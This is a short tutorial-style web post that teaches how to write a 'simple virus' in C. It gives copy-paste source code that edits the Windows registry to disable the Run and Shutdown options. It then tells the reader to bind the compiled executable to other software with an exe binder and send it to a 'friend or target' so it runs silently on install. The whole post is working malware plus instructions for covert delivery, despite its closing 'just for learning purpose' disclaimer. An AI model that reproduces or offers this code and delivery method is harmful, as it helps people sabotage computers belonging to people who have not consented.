Create simple basic virus using C

0
205
Ok , Friends
Today’s interesting topic is how to make simple virus using c language.
I will give you the method for editing registry using C . And make virus which is editing target’s registry.This virus disable RUN option from entire OS(Operating System) and also disable shut down option .
Just copy/paste below C code.

C Code

#include<stdio.h>
#include<conio.h>
void main()
{
system("REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /v NoRun /t REG_DWORD /d 1");
system("REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /v NoClose /t REG_DWORD /d 1");
}

Now save this file as .c extension and compile and run it using compiler like Turbo c or Code Block etc.
Compiler make .exe file.Now using one of the exebinder software bind this exe file with you software and send it to your friend or target’s pc.
When target install that software , upward exe file of virus silently run and when target restart or log off computer virus will do it’s work..And there is no shutdown and run option in Target’s computer.
Note:This is just for learning purpose.

LEAVE A REPLY

Please enter your comment!
Please enter your name here